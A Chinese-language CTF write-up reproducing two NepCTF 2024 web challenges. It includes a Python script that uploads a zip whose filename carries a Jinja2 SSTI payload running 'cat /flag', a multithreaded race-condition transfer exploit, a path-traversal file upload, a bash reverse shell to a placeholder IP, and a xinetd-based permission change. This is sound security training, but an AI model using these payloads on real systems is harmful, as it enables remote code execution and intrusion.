2024NepCTF web复现

NepDouble

python 复制代码
 if request.method != "POST":
        return 'Please use POST method to upload files.'
python 复制代码
file_extension = files.filename.rsplit('.', 1)[-1].lower()
        if file_extension != 'zip':
            return 'Invalid file type. Please upload a .zip file.'
python 复制代码
        with ZipFile(files) as zip_file:
            zip_file.extractall(path=unzip_folder)

        files_list = []
        for root, dirs, files in os.walk(unzip_folder):
            for file in files:
                print(file)
                file_path = os.path.join(root, file)
                relative_path = os.path.relpath(file_path, app.config['UPLOAD_FOLDER'])
                link = f'<a href="/cat?file={relative_path}">{file}</a>'
                files_list.append(link)

        return render_template_string('<br>'.join(files_list))

查看附件的app.py时发现需要用post提交一个zip文件即可解压并返回超链接<a href="/cat?file={relative_path}">{file}</a>渲染网页,所以我们可以用脚本进行连接并上传一个带有ssti的payload的zip文件

python 复制代码
import requests
import io
import zipfile
# 创建一个内存中的字节流对象
zip_buffer = io.BytesIO()
# 使用 zipfile.ZipFile 创建 ZIP 文件
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:
    # 向ZIP文件中添加自定义文件和内容
    zip_file.writestr('file1.txt', 'This is the content of file1.')
    zip_file.writestr("{{7*7}}", 'This is the content of file2.')
# 将字节流的指针移动到文件开始位置
zip_buffer.seek(0)
# 构造上传的文件数据
files = {'tp_file': ('test.zip', zip_buffer, 'application/zip')}
# 上传到服务器
url = 'https://neptune-44698.nepctf.lemonprefect.cn/'
response = requests.post(url=url, files=files, allow_redirects=False)
# 打印响应内容
print(response.text)
复制代码
{{lipsum.__globals__.os.popen('cat /flag').read()}}

蹦蹦炸弹

根据代码,整理出流程为:登入HRP用户(余额6000)->重置->获取其他用户(随机生成,余额2000)->利用多线程转账给随机生成的用户->购买admin用户的密码(密码值10000)->登入admin用户->上传文件lock.txt->执行cmd命令得到flag

由于获取admin的密码需要用到多线程提交转账请求刷取且登入admin后也无法在页面里上传文件,所以所有流程就得全部通过脚本实现(这里直接用官方给的exp)

如果运行一次脚本不行就多运行几次,可能是转账的金额还没有达到10000

登入admin

python 复制代码
import requests
import threading
import re

def transfer_to_user(session, user, amount):
    transfer_url = "https://neptune-57790.nepctf.lemonprefect.cn/transfer"
    data = {
        "receiver": user,
        "amount": amount,
        "logs": "true",
    }
    session.post(transfer_url, data=data)


session = requests.Session()

# 登入
login_url = "https://neptune-57790.nepctf.lemonprefect.cn/login"
login_data = {
    "username": "HRP",
    "password": "HRP"
}
session.post(login_url, data=login_data)

# 重置
reset_url = "https://neptune-57790.nepctf.lemonprefect.cn/reset"
session.get(reset_url, data="")

# 获取其他用户
get_users_url = "https://neptune-57790.nepctf.lemonprefect.cn/get_users?num=1"
response = session.get(get_users_url)
first_user = response.json()["users"][0]

# 转账
threads = []
for _ in range(100):
    t = threading.Thread(target=transfer_to_user, args=(session, first_user, 1000))
    t.start()
    threads.append(t)

for t in threads:
    t.join()

print(f"Transferred 100 units to {first_user} 100 times!")

# 购买提取flag
force_buy_flag_data_url = "https://neptune-57790.nepctf.lemonprefect.cn/force_buy_flag"
force_buy_flag_data = {
    "target_user": first_user
}
admin_passwd = session.post(force_buy_flag_data_url, data=force_buy_flag_data)
print(admin_passwd.text)
pattern = r'flag:\s+(.+)'
# 使用正则表达式进行匹配
matches = re.findall(pattern, admin_passwd.text)
# 提取到的匹配结果
for match in matches:
    print("admin_passwd:", match)
    admin_passwd = match

# 登录admin
login_url = "https://neptune-57790.nepctf.lemonprefect.cn/admin"
login_data = {"username": "admin", "password": admin_passwd}
# 发送登录POST请求
session = requests.Session()
login_response = session.post(login_url, data=login_data)

用购买的密码登入后发现上传文件没有路径继续用代码实现

上传文件

python 复制代码
# 上传的文件
import os

os.system("touch lock.txt")
file_path = './lock.txt'
upload_url = 'https://neptune-57790.nepctf.lemonprefect.cn/admin/dashboard'
# 使用session对象打开文件并进行上传
with open(file_path, 'rb') as f:
    files = {'file': ('../../lock.txt', f)}  # Changed the file name to just 'lock.txt'
    upload_response = session.post(upload_url, files=files)

# 输出服务器响应
print(upload_response.text)

上传lock.txt文件后getshell,执行cmd命令

由于每次执行命令都需要运行所以直接反弹shell到自己的服务器上

复制代码
本机:nc -lvvp 7777
目标机:bash -c "bash -i >& /dev/tcp/your_ip/7777 0>&1"

查看当前路径,目录和用户

pwd && ls && whoami

直接尝试cat /home/ctfuser/f*发现不能查看

查看ctfuser目录文件权限发现flag没有读写权限

ls -ahl

查看根目录下发现有一个flag.sh

发现是使flag无读写权限的文件

查看进程

ps aux

可以发现典型的中间件进程xinetd服务开启,配置文件一般在/etc中

查看/etc目录发现conf文件和一个xinetd.d目录

cd /etc

ls -ahl

查看xinetd.conf没发现有用信息,进入xinetd.d查看

查看文件发现pwnservice里的内容正是运行服务文件

利用flag.sh中的命令给flag赋权

echo -e "#/bin/bash\nchmod 777 /home/ctfuser/f*"> start.sh && nc 127.0.0.1 8888

cat /home/ctfuser/f*

这题主要还是考察对于python脚本的理解,包括代码审计和脚本编写

PHP_MASTER!!

相关推荐
YBN娜8 分钟前
Vue实现登录功能
前端·javascript·vue.js
阳光开朗大男孩 = ̄ω ̄=9 分钟前
CSS——选择器、PxCook软件、盒子模型
前端·javascript·css
颇有几分姿色12 分钟前
深入理解 Linux 内存管理:free 命令详解
linux·运维·服务器
minDuck13 分钟前
ruoyi-vue集成tianai-captcha验证码
java·前端·vue.js
小政爱学习!34 分钟前
封装axios、环境变量、api解耦、解决跨域、全局组件注入
开发语言·前端·javascript
魏大帅。39 分钟前
Axios 的 responseType 属性详解及 Blob 与 ArrayBuffer 解析
前端·javascript·ajax
AndyFrank42 分钟前
mac crontab 不能使用问题简记
linux·运维·macos
花花鱼1 小时前
vue3 基于element-plus进行的一个可拖动改变导航与内容区域大小的简单方法
前端·javascript·elementui
k09331 小时前
sourceTree回滚版本到某次提交
开发语言·前端·javascript
筱源源1 小时前
Kafka-linux环境部署
linux·kafka